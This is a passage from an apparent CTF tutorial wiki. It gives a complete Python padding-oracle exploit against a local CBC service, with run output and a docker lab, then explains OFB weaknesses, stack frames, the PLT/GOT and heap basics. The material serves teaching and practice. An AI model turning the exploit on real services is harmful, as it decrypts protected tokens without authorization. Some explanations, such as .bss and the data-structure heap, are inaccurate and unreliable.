token = "218b43506e242a8be58b281d147a75f2709c2695687e6c42791677a4cc9e3a391873aeb156a1f1f3bbc0b9d1ab21d509687606b976351f4998d4210c0e875930"

blocks = [token[i:i+32] for i in range(0,len(token),32)]

# Starting the console status to indicate the progress
with console.status(f"Trying byte : ") as a:

    # Creating a string with 30 zeros, which corresponds to a block of 15 null bytes
    block_attack = "00" * 15

    # Extracting the last byte of the second-to-last block
    original_block_byte = bytes.fromhex(blocks[-2][-2:])
    print(f"Original block byte : {original_block_byte}")

    # Looping through all possible values of a byte (0-255)
    for c in range(255):
        
        # Converting the byte value to bytes
        c = bytes([c])

        # Replacing the second-to-last block of the ciphertext by the arbitrary forged block
        blocks[-2] = block_attack + c.hex()

        # Sending the modified ciphertext to the server to check if padding is valid
        resp = checkToken("".join(blocks))

        # Updating the console status to show the current byte value being tried
        a.update(f"Trying byte : {c}")

        # If the server does not return a padding error, the guessed byte is correct
        if b'Padding' not in resp and b"padding" not in resp:

            # Printing the result of the brute force
            print(f"bruteforce result : {c}")

            # XORing the guessed byte with the original byte to get the plaintext
            last_char = xor(c, original_block_byte, b"\x01")
            print(f"last char : {last_char}")

            # Exiting the loop as the last character has been found
            break
```

{% endcode %}

```bash
$ python3 example.py
Original block byte : b'\t'
bruteforce result : b'\x04'
last char : b'\x0c'
```

{% hint style="info" %}
here the byte `0x0c` was found, it means that there is probably a padding of size 13 on the plain text
{% endhint %}

### Full exploitation

We just have to update the code to make it follow the entire padding oracle algorithm

```python
from pwn import *
from rich.console import Console
import string
import json
import copy

console = Console()
context.log_level = 'error'

def getToken():

    p = remote("127.0.0.1", 1337)
    p.recvuntil(b": ")
    token = p.recvline()[:-1].decode()

    p.close()
    return token


def checkToken(token):
    p = remote("127.0.0.1", 1337)
    p.recvuntil(b"Token :")
    p.sendline(token.encode())

    resp = p.clean()

    p.close()
    return resp

token = bytes.fromhex(getToken())

blocks = [token[i:i+16] for i in range(0,len(token),16)]

plain = b""
with console.status(f"Trying byte : ") as a:
    for i in range(len(blocks)-1):
        arbitrary = copy.copy(blocks)
        for b in range(16):
            cur_plain = b"\x00" * (16-b) + plain[-16*(i+1):len(plain)-16*i]
            trail = xor(b+1, cur_plain, blocks[-2])[16-b:]
            
            for c in range(0,255):
                c = bytes([c])
                block_attack = (15 - b) * b'\x00' + c + trail
                arbitrary[-2] = block_attack
                test = b''.join(arbitrary).hex()

                a.update(f"clear = {plain}\nblock_attack = {block_attack}\ntoken = {test}\nTrying byte : {c}")
                r = checkToken(test)

                if b'Padding' not in r and b"padding" not in r:
                    plain_byte = xor(c, b+1, blocks[-2][-b-1])
                    plain = plain_byte + plain
                    break

        blocks = blocks[:-1]

print(f"clear = {plain}")
```

```bash
$ python3 exploit.py
⠏ clear = b'}"}\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c'
block_attack = b"\x08x\x93\xc6CS\x89\xfd'mY\xad\xe66!\xc2"
token = 08b9c82b87335577d4fc953594fd96ae612c3c8c0b29fc602bf2f08fac717aaf087893c6435389fd276d59ade63621c246a0379337609b70da2d2d0558326511
Trying byte : b'\x08'

...

⠏ clear = b'esome}"}\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c'
block_attack = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00U\xcc\x07\x10\xc7'
token = 08b9c82b87335577d4fc953594fd96ae000000000000000000000055cc0710c7c915a1ab5f4f95e13b7145b1fa2a3dde
Trying byte : b'U'

...

clear = b'{"flag": "FLAG{CBCOracleIsAwesome}"}\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c'
```

### Using Libraries

Many people have write libraries to automate this attack. Here is an example using [this ](https://github.com/mwielgoszewski/python-paddingoracle)python implementation of padBuster :

{% code overflow="wrap" %}

```python
from pwn import *
from paddingoracle.paddingoracle import BadPaddingException, PaddingOracle
from Crypto.Cipher import AES

context.log_level = 'error'
class PadBuster(PaddingOracle):
    def oracle(self, data):
        while True:
            try:
                r = remote("127.0.0.1", 1337)
                r.recvuntil(b"Token : ")
                s = data.hex().encode()
                r.sendline(s)
                out = r.recvall()
                if b"padding" in out or b"Padding" in out:
                    raise BadPaddingException
                return
            except (socket.error, socket.gaierror, socket.herror, socket.timeout) as e:
                print(e)

if __name__ == '__main__':
    token = bytes.fromhex("c5bf8a9b3e59cd2d80e06a99bc36cbdefea51ee96ae74ac53ecc2e54da7a229e60b7cceacc4d8b96b490f68aa3a800975679289a314ea455c58516947899f216")
    padbuster = PadBuster()
    decrypted = padbuster.decrypt(token[16:], block_size=AES.block_size, iv=token[:16])

    print(f"Clear : {decrypted}")
```

{% endcode %}

{% code overflow="wrap" %}

```bash
$ python3 exploit_lib.py
Clear : bytearray(b'{"flag": "FLAG{CBCOracleIsAwesome}"}\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c')
```

{% endcode %}

## Exercice

If you want to try this exploit by yourself, you can pull [this docker image](https://hub.docker.com/r/thectfrecipes/crypto/) :

```
docker pull thectfrecipes/crypto:CBCOracle
```

Deploy the image using the followed command :

```
docker run --name thectfrecipes_crypto_CBCOracle -it --rm -d -p 1337:1337 thectfrecipes/crypto:CBCOracle
```

The service is available on port 1337

```
nc 127.0.0.1 1337
```


# OFB

Output Feedback

OFB mode works by using an initialization vector (IV) and a secret key to generate a keystream. The keystream is then XORed with the plaintext to produce the ciphertext. The IV is a random value that is used to initialize the encryption process. It is important that the IV is unique and unpredictable to ensure the security of the encryption.

The encryption process in OFB mode is iterative. The encryption function takes the IV and the secret key as inputs and generates a block of keystream. This keystream block is then XORed with the plaintext block to produce the ciphertext block. The same process is repeated for each subsequent plaintext block, using the previous keystream block as the input for the encryption function.

<figure><img src="https://github.com/Hakumarachi/theCTFRecipe/blob/master/.gitbook/assets/Schema_ofb.png" alt=""><figcaption></figcaption></figure>


# Key stream reconstruction

As the only encrypted part is the Initialization vector, if for any reason the user can get this value, it's possible to reconstruct the key stream and then break the entire cipher .

## Exploitation

Remember, `ciphertext = plaintext ⊕ encrypt(iv)` so, only from ciphertext is not direclty possible to reconstruct the key stream.

However, if the user can cipher arbitrary plaintext using a same IV, then he know 2 parts of the xor operation and then he can retrieve the `encrypt(iv)` value as explained [here](/cryptography/misc/xor#properties).


# Encrypt to Uncrypt

Encrypt + Encrypt = plaintext

AES mode OFB is a fully symmetric cipher as the encryption algorithm can be used to uncrypt datas.

## How it works ?

Remember, `ciphertext = plaintext ⊕ encrypt(iv)` so, what if the user want encrypt again the `ciphertext` ?

```
ciphertext = plaintext ⊕ encrypt(iv)

# if the user want encrypt again ciphertext then :
ciphertext2 = ciphertext ⊕ encrypt(iv)
ciphertext2 = plaintext ⊕ encrypt(iv) ⊕ encrypt(iv)
```

However, as explain here, the opposite of xor is xor itself, so `encrypt(iv) ⊕ encrypt(iv) = 0`\
and `x ⊕ 0 = x` so :

```
ciphertext2 = plaintext ⊕ encrypt(iv) ⊕ encrypt(iv)
ciphertext2 = plaintext ⊕ 0
ciphertext2 = plaintext
```

{% hint style="info" %}
That's why, using OFB mode, if the user will have access to the encrypt function without the uncrypt one, he must do not know the IV.
{% endhint %}


# General knowledge

Pwn refers to the exploitation of a vulnerability in a binary to gain access to sensitive data or gain unauthorized control over the service.

## Memory Segmentation

There is several segment into process memory :&#x20;

* **RESERVED** : the "**Reserved**" section is at the first address of the memory (0x00000000). It contains the operating system's kernel and other important system components, such as device drivers.
* **TXT :** the ".txt" section (also known as the "**code segment**") is a portion of memory that is reserved for storing the instructions that are executed by a program. This section of memory is typically located in the read-only portion of a process's memory.
* **PLT**: the ".plt" section ( also known as the "**Procesdure Linkage Table**") is a table of entries that contain the address of the code for dynamically linked functions. When a program calls a dynamically linked function, it first calls the function in the .plt, which performs the necessary steps to locate the actual function and transfer control to it.
* GOT: the ".got" section (also known as the "**Global Offset Table**") is a table of entries that contain the actual address of dynamically linked functions and variables. The .plt uses the .got to find the actual address of the function or variable when it is needed. The .got is typically used to store the address of functions and variables that are defined in shared libraries and are not known at compile time.
* **DATA :** the ".data" section (also known as the "**data segment**") is a portion of memory that is reserved for storing global and static variables that are initialized at runtime. This section of memory is used to store the initial values for these variables, which are then used by the program when it is executed.
* **BSS:** the ".bss" section (also known as the "**uninitialized data segment**") is a portion of memory that is reserved for storing global and static variables that are not initialized at runtime. This section of memory is used to store the initial values for these variables, which are then used by the program when it is executed.
* **HEAP :** the heap is a region of memory that is used for dynamic memory allocation. It is called the heap because it is typically an unregulated space in memory where blocks of memory can be allocated and freed in any order.
* **LINKS :** the "links" section (also known as the "**dynamic linking**" section) is a portion of memory that is used to store the code and data for dynamically linked libraries. These libraries are external code and data files that are linked to a program at runtime, rather than at compile time.
* [**STACK** ](/pwn/general-knowledge/operation-of-the-stack)**:** the stack is a region of memory that is used for storing local variables and function parameters. It is called the stack because it is organized as a last-in, first-out (LIFO) data structure, meaning that the last item to be added to the stack is the first one to be removed.

```markdown
Segment | Address                          | Contents
--------|----------------------------------|-----------------------------------------
Reserved| 0x00000000                       | Program entry point, interrupt vectors
--------|----------------------------------|-----------------------------------------
.txt    | 0xYYYYYYYY (Platform-dependent)  | instructions executed by the program
--------|----------------------------------|-----------------------------------------
.plt    |                                  | Procesdure Linkage Table
--------|----------------------------------|-----------------------------------------
.got    |                                  | Global Offset Table
--------|----------------------------------|-----------------------------------------
.Data   |                                  | Global variables, static variables
--------|----------------------------------|-----------------------------------------
.bss    |                                  | Global variables, static variables
--------|----------------------------------|-----------------------------------------
HEAP    |               |                  | Dynamically allocated memory
        |               v                  |
--------|----------------------------------|-----------------------------------------
Free    |                                  | free memory area used for stack 
memory  |                                  | and heap growth
--------|----------------------------------|-----------------------------------------
LINKS   |                                  | External libraries and functions
--------|----------------------------------|-----------------------------------------
Free    |                                  | free memory area used for stack
memory  |                                  | and heap growth
--------|----------------------------------|-----------------------------------------
STACK   |               ^                  | Local variables, function params
        |               |                  |
        | 0xffffffff                       | 
--------|----------------------------------|-----------------------------------------
```

## Registers

Registers are special memory locations that are built into the **central processing unit (CPU)**. They are used to store data and instructions that are currently being used by the CPU, and they provide a high-speed storage area that can be accessed quickly and efficiently.&#x20;

Registers are much faster to access than main memory (RAM), which means that they are essential for the efficient execution of a computer's instructions. Most CPUs have a small number of registers (usually between 8 and 128), and these registers are used for a variety of different purposes. For example, some registers are used to store the current instruction being executed by the CPU, while others are used to store the results of arithmetic and logical operations.

## Addresses (Endianness)

Addresses are represented in different ways in memory. It’s called endianness.

| Address    | Little Endian | Big Endian |
| ---------- | ------------- | ---------- |
| 0xAABBCCDD | 0xDDCCBBAA    | 0xAABBCCDD |
| 0x1234ABCD | 0xCDAB3412    | 0x1234ABCD |


# STACK

The stack is a data structure that operates as a last-in-first-out (LIFO) structure

## LIFO (Last In First Out)

Imagine that you have a stack of books on your desk. The books are stacked on top of each other in a certain order, with the bottom book being the first one you put on the stack and the top book being the last one you added.&#x20;

This is like a LIFO system, because **the last book you added** (the top one) **is the first one you can take off** the stack. So if you want to grab a book from the middle of the stack, you have to take off the top few books first and then you can reach the one you want.

the "top" of the stack is at the lowest memory address, and the "bottom" is at the highest memory address

```markdown
Segment | Address                          | Contents
--------|----------------------------------|------------------------------------------
Stack   |               ^                  | Local variables, function params
        |               |                  |
        | 0xaaaaaaaa (just an example)     |
        | ...                              |
        | +------------------------------+ | Each frame is specific to a procedure. 
        | |                              | | Each frame contains the local variables 
        | |           Frame 2            | | of the procedure, the return address, and
        | |                              | | a backup of the input parameters, or a 
        | +------------------------------+ | copy of certain registers.
        | +------------------------------+ | 
        | |                              | | The frame 1 normally corresponds to the
        | |           Frame 1            | | 'main' function.
        | |                              | |
        | +------------------------------+ |
        | 0xffffffff                       |
--------|----------------------------------|-----------------------------------------
```

##


# Variables storage

## Simple explanation

**When a variable is declared**, **the process will reserve a certain amount of memory** on the stack to store the value of the variable. The process will allocate enough memory to hold the entire possible value. For example, if you declare a string with size 20, the process will allocate 20 bytes of memory on the stack for that string.

If no value is initialized, **the initial value of the variable will be undefined**. This means that it **may have any value**, and that value **may be different each time the program is executed**.

When a value is assigned to a variable, the compiler will store that value at the memory address associated with the variable.

{% hint style="danger" %}
Therefore, it is generally not recommended to rely on the initial value of a variable if it has not been explicitly initialized. This can lead to unpredictable behavior.

It is generally best practice to initialize variables to known values when they are declared.
{% endhint %}

## Code example

{% code lineNumbers="true" %}

```c
#include <stdio.h>
#include <string.h>

int main(void) {
  char string1[16]; // create an array of characters with size 16
  char string2[16]; // create a second array of characters with size 16

  printf("string1 stack address : %p\n", string1);
  printf("string2 stack address : %p\n", string2);

  printf("%s\n", string1);
  printf("%s\n", string2);

  // fill the first string with 15 'A's followed by a null character '\0'
  memset(string1, 'A', 15);
  string1[15] = '\0';

  // fill the second string with 15 'B's followed by a null character '\0'
  memset(string2, 'B', 15);
  string2[15] = '\0';

  printf("String 1: %s\n", string1); // print string 1
  printf("String 2: %s\n", string2); // print string 2

  return 0;
}

```

{% endcode %}

This code will declare two arrays of characters, `string1` and `string2`, and set them with the strings "AAAAAAAAAAAAAAA" and "BBBBBBBBBBBBBBB", respectively.

The output of this program would be : &#x20;

```
string1 stack address : 0xfff7da80
string2 stack address : 0xfff7da70

�C��
String 1: AAAAAAAAAAAAAAA
String 2: BBBBBBBBBBBBBBB
```

This code provides a basic example of how variables are treated on the stack in C.&#x20;

## Stack representation

When the `string1` variable is declared, the process reserve 16 byte onto the stack to store this variable :&#x20;

```markup
  address   |   values
------------+-------------------------------------------------------------------
            |   +------------------------- string1 --------------------------+
0xffffd280: |   | 0x01	0x00	0x00	0x00	0x54	0xd3	0xff	0xff |
0xffffd288: |   | 0x5c	0xd3	0xff	0xff	0xad	0x62	0x55	0x56 |
            |   +------------------------------------------------------------+
0xffffd290: |    0xb0	0xd2	0xff	0xff	0x00	0x00	0x00	0x00
0xffffd298: |    0x00	0x00	0x00	0x00	0x46	0xce	0xdd	0xf7
  ...       |    ...
```

{% hint style="info" %}
Note that values on the stack aren't initialized to any specific value. If there is already some data in the memory space allocated to the variable, this data will remain until it is overwritten by a new value.
{% endhint %}

When the `string2` variable is declared, the process reserve 16 byte onto the stack to store this variable

```
  address   |   values
------------+-------------------------------------------------------------------
            |   +------------------------- string2 --------------------------+
0xffffd270: |   | 0xfc	0x73	0xfa	0xf7	0x01	0x00	0x00	0x00 |
0xffffd278: |   | 0x00	0x90	0x55	0x56	0xdb	0x62	0x55	0x56 |
            |   +------------------------------------------------------------+
            |   +------------------------- string1 --------------------------+
0xffffd280: |   | 0x01	0x00	0x00	0x00	0x54	0xd3	0xff	0xff |
0xffffd288: |   | 0x5c	0xd3	0xff	0xff	0xad	0x62	0x55	0x56 |
            |   +------------------------------------------------------------+
0xffffd290: |    0xb0	0xd2	0xff	0xff	0x00	0x00	0x00	0x00
0xffffd298: |    0x00	0x00	0x00	0x00	0x46	0xce	0xdd	0xf7
  ...       |    ...
```

The variable `string2` is stored above the `string1` variable due to LIFO system

Then, the process will do a `memset()` to each  variable to set "A" and "B" 15 times respectively into `string1` and `string2` and then put a null byte `0x00` at the end of the string

```
  address   |   values
------------+-------------------------------------------------------------------
            |   +------------------------- string2 --------------------------+
0xffffd270: |   | 0x42	0x42	0x42	0x42	0x42	0x42	0x42	0x42 |
0xffffd278: |   | 0x42	0x42	0x42	0x42	0x42	0x42	0x42	0x00 |
            |   +------------------------------------------------------------+
            |   +------------------------- string1 --------------------------+
0xffffd280: |   | 0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41 |
0xffffd288: |   | 0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x00 |
            |   +------------------------------------------------------------+
0xffffd290: |    0xb0	0xd2	0xff	0xff	0x00	0x00	0x00	0x00
0xffffd298: |    0x00	0x00	0x00	0x00	0x46	0xce	0xdd	0xf7
  ...       |    ...
```

{% hint style="info" %}
`string1` contains 15 `0x41` wich is the hex value of `A` following by a null byte `0x00`&#x20;

`string2` contains 15 `0x42` wich is the hex value of `B` following by a null byte `0x00`
{% endhint %}

##


# Stack frame

A stack frame is a portion of memory that is used by a program to store local variables and information about the current state of a subroutine. In most programming languages, a stack frame is created each time a subroutine is called, and is destroyed when it returns.

```c
#include <stdio.h>

void HelloWorld(void){
  printf("World !\n");
}

int main(void) {
  printf("Hello ");
  HelloWorld();
  return 0;
}
```

In this example, when the process enter into the `HelloWorld` function, there is two stack frame into the stack, one for the `main` function and another for the `HelloWorld` function.&#x20;

During the execution, the "`Base pointer`" register (for example `EBP` in `x86` architecture) point the bottom of the current stack frame and the "`stack pointer`" register (for example `ESP` in `x86` architecture) point to the top of the stack which is also the top of the current stack frame.&#x20;

```
                     |----------------------------------|
                     |               ^                  |
                     |               |                  |
                     | ...                              |
   stack pointer --> | +------------------------------+ | 
                     | |                              | |
                     | |     HelloWord stack frame    | |
                     | |                              | |
   Base Pointer  --> | +------------------------------+ | 
                     | +------------------------------+ | 
                     | |                              | |
                     | |       main stack frame       | |
                     | |                              | |
                     | +------------------------------+ |
                     |  ...                             |
                     |----------------------------------|
```

## Prologue

{% hint style="warning" %}
To be able to properly understand the rest of this article, some basic knowledge of assembly language is helpful.
{% endhint %}

The prologue of a function is the code that is executed at the beginning of the function, before any other function's code.

### Code example

```c
#include <stdio.h>

int Addition(int a, int b){
  return a+b;
}

int main(void) {
  int c = 0;
  c = Addition(1, 2);
  printf("%d + %d = %d\n",1,2,c);
  return 0;
}
```

Here is the assembly code of the `main` function :

```wasm
0x565561b0 <+0>:	lea    ecx,[esp+0x4]
0x565561b4 <+4>:	and    esp,0xfffffff0
0x565561b7 <+7>:	push   DWORD PTR [ecx-0x4]
0x565561ba <+10>:	push   ebp
0x565561bb <+11>:	mov    ebp,esp
0x565561bd <+13>:	push   ebx
0x565561be <+14>:	push   ecx
0x565561bf <+15>:	sub    esp,0x10
0x565561c2 <+18>:	call   0x565560a0 <__x86.get_pc_thunk.bx>
0x565561c7 <+23>:	add    ebx,0x2e39
0x565561cd <+29>:	mov    DWORD PTR [ebp-0xc],0x0
0x565561d4 <+36>:	push   0x2
0x565561d6 <+38>:	push   0x1
0x565561d8 <+40>:	call   0x56556199 <Addition>
0x565561dd <+45>:	add    esp,0x8
0x565561e0 <+48>:	mov    DWORD PTR [ebp-0xc],eax
0x565561e3 <+51>:	push   DWORD PTR [ebp-0xc]
0x565561e6 <+54>:	push   0x2
0x565561e8 <+56>:	push   0x1
0x565561ea <+58>:	lea    eax,[ebx-0x1ff8]
0x565561f0 <+64>:	push   eax
0x565561f1 <+65>:	call   0x56556030 <printf@plt>
0x565561f6 <+70>:	add    esp,0x10
0x565561f9 <+73>:	mov    eax,0x0
0x565561fe <+78>:	lea    esp,[ebp-0x8]
0x56556201 <+81>:	pop    ecx
0x56556202 <+82>:	pop    ebx
0x56556203 <+83>:	pop    ebp
0x56556204 <+84>:	lea    esp,[ecx-0x4]
0x56556207 <+87>:	ret 
```

Into the `main` function, when the `Addition` function need to be executed, the **`call`** instruction is executed, and in fact the process execute the two followed instruction :&#x20;

```wasm
push eip
jmp  <function_address>
```

At this moment, the instruction pointer is saved onto the stack&#x20;

Before that, the process will store the function parameters onto the stack.

```
  address   |   values
------------+-------------------------------------------------------------------
            |   +-------------------- main stack frame ----------------------+
            |   | +-saved eip -+ +---- function params ---+                  |
0xffffd274: |   | | 0x565561dd | |0x00000001	0x00000002|	0x00000001   |
            |   | +------------+ +------------------------+                  |
0xffffd284: |   |   0xffffd354	  0xffffd35c	0x00000000	0xffffd2b0   |
0xffffd294: |   |   0xffffd354	  0xffffd35c	0x00000000	0xffffd2b0   |
  ...       |    ...
```

{% hint style="info" %}
Note that the saved Instruction Pointer value point to `*main+45`that directly follow the call of the `Addition` Function

At the jmp instruction, the Intruction Pointer will now point at the beggining of the `Addition` function (0x56556199)&#x20;
{% endhint %}

Here is the assembly code of the `Addition` function :

```wasm
0x56556199 <+0>:	push   ebp
0x5655619a <+1>:	mov    ebp,esp
0x5655619c <+3>:	call   0x56556208 <__x86.get_pc_thunk.ax>
0x565561a1 <+8>:	add    eax,0x2e5f
0x565561a6 <+13>:	mov    edx,DWORD PTR [ebp+0x8]
0x565561a9 <+16>:	mov    eax,DWORD PTR [ebp+0xc]
0x565561ac <+19>:	add    eax,edx
0x565561ae <+21>:	pop    ebp
0x565561af <+22>:	ret
```

At the begining of the fonction, there is two instructions. This is the **prologue** :&#x20;

```wasm
0x56556199 <+0>:	push   ebp
0x5655619a <+1>:	mov    ebp,esp
```

1. The first one saved the current base pointer value onto the stack&#x20;
2. The second set the base pointer value as the stack pointer value. At this moment base pointer and stack pointer have the same value, this is the begining of the stack frame.&#x20;

{% hint style="info" %}
Note, if the process have to push a local variable into the stack, the stack pointer will take some marge after setting the ebp register.
{% endhint %}

```wasm
0x0804926a <+0>:	push   ebp
0x0804926b <+1>:	mov    ebp,esp
0x0804926d <+3>:	sub    esp,0xc
```

Here is the stack state after the execution of theses instructions

```
   address     |   values
---------------+------------------------------------------------------------------
               |   +---------------- HelloWorld stack frame -----------------+
               |   | +------------ stack marge -------------+ +-saved ebp -+ |
   0xffffd264  |   | | 0x00000000   0x00000000   0x00000000 | | 0xffffd298 | | 
               |   | +--------------------------------------+ +------------+ |
               |   +---------------------------------------------------------+
               |   +-------------------- main stack frame -------------------+
               |   | +-saved eip -+ +---- function params ---+               |
   0xffffd274: |   | | 0x565561dd | | 0x00000001  0x00000002 |	0x00000001   |
               |   | +------------+ +------------------------+               |
```

{% hint style="info" %}
Now Base Pointer poit to 0xffffd270 and Stack Pointer will point "0xffffd264"&#x20;
{% endhint %}

**To summarize:**&#x20;

1. A function will call a child function
2. The process store the address of the next instuction of the current function onto the stack&#x20;
3. The process go to the frst instruction of the child function ( at this moment a new stack frame will be create )&#x20;
4. the process store the adress of the parent bottom stack frame onto the stack
5. the process set the "Base Pointer" registry at the same value as the "Stack Pointer" registry ( the stack frame is now created )&#x20;

## Epilogue

At the end of a function there is some instruction to reset the Base Pointer at the parent bottom stack frame address value and to reset the instruction pointer at the next instruction of the parent function.

```wasm
0x565561ae <+21>:	pop    ebp
0x565561af <+22>:	ret
```

1. At the end of the execution of a function, the last value into the stack frame is the base address of the parent function stack frame
2. The process will pop this value into EBP in order to restore the parent function stack frame
3. Now the process is back into the parent function stack frame and the top value is the saved EIP&#x20;
4. The process will pop this value into EIP in order to restore the instruction pointer and then continue the execution flow into the parent function

## Resume

The program is read instruction by instruction. During a call , the current instruction Pointer (EIP) is pushed onto the stack, and then control is transferred to the address given by the call. Here, a new stack frame is set onto the stack and the instructions of the function are executed one after the other until it will finish and then trash this stack frame and return to the parent function with the RET instruction that retrieves the previously recorded EIP value, in order to return to where the program was, without losing the thread!


# PLT and GOT

Dynamic Linking

The **Procedure Linkage Table (PLT)** and **Global Offset Table (GOT)** are sections within an **Executable and Linkable Format** (**ELF**) file that play a significant role in dynamic linking.&#x20;

The purpose of dynamic linking is to reduce the size of binaries by allowing them to rely on system libraries, such as the C standard library (**libc**), to provide the majority of their functionality.

For example, an ELF file **does not include its own version of the '`printf`' function** compiled within it. Instead, it **dynamically links to the '`printf`' function of the system** it is running on. In addition to **smaller binary sizes**, this also means that users can **upgrade their libraries without having to download all the binaries again** each time a new version is released.

## How it works ?

The linking is performed through the cooperation of the **Procedure Linkage Table** (**PLT**) and the **Global Offset Table** (**GOT**).&#x20;

When the '`printf`' function, for example, is called in C and compiled as an ELF executable, it is not included as '`printf`' in the file. Instead, it is compiled as '`printf@plt`' :&#x20;

```wasm
   0x0804925b <+137>:   push   0x804a012
   0x08049260 <+142>:   call   0x8049040 <printf@plt>
   0x08049265 <+147>:   add    esp,0x10
```

The program does not know the actual location of 'printf', so it jumps to the '`printf@plt`' entry instead. When this occurs, '`printf@plt`' performs some specific actions.

* If there isn't a GOT entry, it will resolve it and jump there.
* If there is a GOT entry for `printf`, it jumps to the address stored there.

The GOT is a *massive* table of addresses; these addresses are the actual locations in memory of the `library` functions. `printf@got`, for example, will contain the address of `printf` in memory. When the PLT gets called, it reads the GOT address and redirects execution there. If the address is empty, it coordinates with the `ld.so` (also called the **dynamic linker/loader**) to get the function address and stores it in the GOT.

{% hint style="info" %}

* Calling the PLT address of a function is equivalent to calling the function itself
* The GOT address contains addresses of functions in `libraries`, and the GOT is within the binary.
  {% endhint %}

## Read tables

Some tools permits to read the PLT and GOT tables :&#x20;

```bash
$ readelf -r chall

Relocation section '.rel.dyn' at offset 0x3bc contains 1 entry:
 Offset     Info    Type            Sym.Value  Sym. Name
0804bffc  00000606 R_386_GLOB_DAT    00000000   __gmon_start__

Relocation section '.rel.plt' at offset 0x3c4 contains 9 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804c00c  00000107 R_386_JUMP_SLOT   00000000   strcmp@GLIBC_2.0
0804c010  00000207 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
0804c014  00000307 R_386_JUMP_SLOT   00000000   fclose@GLIBC_2.1
0804c018  00000407 R_386_JUMP_SLOT   00000000   fread@GLIBC_2.0
0804c01c  00000507 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
0804c020  00000707 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804c024  00000807 R_386_JUMP_SLOT   00000000   fopen@GLIBC_2.1
0804c028  00000907 R_386_JUMP_SLOT   00000000   putchar@GLIBC_2.0
0804c02c  00000a07 R_386_JUMP_SLOT   00000000   __isoc99_scanf@GLIBC_2.7
```

{% code overflow="wrap" %}

```python
from pwn import *

elf = ELF("./chall")

print(elf.plt)
# {'strcmp': 134516784, 'printf': 134516800, 'fclose': 134516816, 'fread': 134516832, 'puts': 134516848, '__libc_start_main': 134516864, 'fopen': 134516880, 'putchar': 134516896, '__isoc99_scanf': 134516912}

print(elf.got)
# {'__gmon_start__': 134529020, 'strcmp': 134529036, 'printf': 134529040, 'fclose': 134529044, 'fread': 134529048, 'puts': 134529052, '__libc_start_main': 134529056, 'fopen': 134529060, 'putchar': 134529064, '__isoc99_scanf': 134529068}
```

{% endcode %}

## Resources

{% embed url="<https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got>" %}


# HEAP

## What is the HEAP ?&#x20;

Heap is a memory region allocated to every program. Unlike stack, heap can be dynamically allocated.

The program can "request" and "release" memory from the heap whenever it requires.

This allocated memory is global. it mean that it can be accessed and modified from anywhere within a program. This can be done using `pointers` to reference the dynamically allocated memory.

{% hint style="info" %}
Note that the **HEAP** permits to use **largest data** than the stack and theses data are **accessible from anywhere**.&#x20;

Theses positives points are followed by a significant negative one : **the HEAP is slower than the stack.**&#x20;
{% endhint %}

## How to use ?

In C, `stdlib.h` provides functions to work with the HEAP.&#x20;

* **`malloc()`**, used to request the space memory
* **`free()`**, used to release the space memory

Here is a code example :&#x20;

```c
// Dynamically allocate 10 bytes
char *buffer = (char *)malloc(10);

strcpy(buffer, "hello");
printf("%s\n", buffer); // prints "hello"

// Frees/unallocates the dynamic memory allocated earlier
free(buffer);
```


# HEAP operations

HEAP is a data structure that takes the form of a binary tree with two additional constraints:

* Shape property

A binary heap is a **complete binary tree**. It mean that all levels of the tree ( except the last one ) **are fully filled**. If the last level is not complete, the nodes of that level are filled from **left to right**.

* HEAP property&#x20;

The key stored in each node is either greter than or equal to (>=) or less than or equal to (<=) the key in node's children.

{% hint style="info" %}
Heap where parent key is greater than or equal to (>=) the child keys are called "**MAX-HEAPS**"&#x20;

Heap where parent key is less than or equal to (<=) the child keys are called "MI&#x4E;**-HEAPS**"&#x20;
{% endhint %}

## Common operations

* **Heapify** --> Process to rearrange the heap in order to maintain heap-property.
* **Insertion** --> Add a new item into the heap
* **Deletion** --> Remove an item from the heap
* **Find-max (or Find-min)** --> find a maximum item of a max-heap, or a minimum item of a min-heap, respectively.
* **Extract Min-Max** → Returning and deleting the maximum or minimum element in max-heap and min-heap respectively.

### Heapify

This process is used to rearrange the elements of the heap in order to maintain the heap property.&#x20;

The heapify can be done in two methodologies:

* **up\_heapify -->** follow a bottom-up approac&#x68;**.**&#x20;

> Example

{% @mermaid/diagram content="graph TD
9 --- 5
9 --- 3
5 --- 1
5 --- 4
3 --- 12" %}

Here the heap property is violated since 12 > 3, so it's needed to swap 12 and 3

{% @mermaid/diagram content="graph TD
9 --- 5
9 --- 12
5 --- 1
5 --- 4
12 --- 3" %}

The heap property is still violated since 12 > 9, so it's needed to swap again.

{% @mermaid/diagram content="graph TD
12 --- 5
12 --- 9
5 --- 1
5 --- 4
9 --- 3" %}

{% hint style="info" %}
**There is no need to check the left child after this final step.**&#x20;

At the start, **the max-heap was valid**, meaning **the root was already greater than its left child**, so replacing the root with an even greater value will maintain the property that each node is greater than its children
{% endhint %}

* **down\_heapify -->** follow a top-down approch.

> Example

{% @mermaid/diagram content="graph TD
1 --- 4
1 --- 6
6 --- 5
4 --- 3
4 --- 2" %}

Here the heap property is violated since 1 < 6 and 1 < 4 , so it's needed to swap

{% hint style="danger" %}
The node will swap with the largest one. because, if the node will swap with the smallest, the heap property will still violated
{% endhint %}

{% @mermaid/diagram content="graph TD
6 --- 4
6 --- 1
1 --- 5
4 --- 3
4 --- 2" %}

The heap property is still violated since 1 < 5, so it's needed to swap again.

{% @mermaid/diagram content="graph TD
6 --- 4
6 --- 5
5 --- 1
4 --- 3
4 --- 2" %}

{% hint style="info" %}
**There is no need to do more check after the final check because we always swap with the smallest one.**&#x20;
{% endhint %}

### Insertion

The insertion in the heap follows the following steps

* Insert the new element at the end of the heap.
* Since the newly inserted element can distort the properties of the Heap. So, a up\_heapify() operation is performed, in order to keep the properties of the heap in a bottom-up approach.

### Deletion

The deletion operations follow the following step:

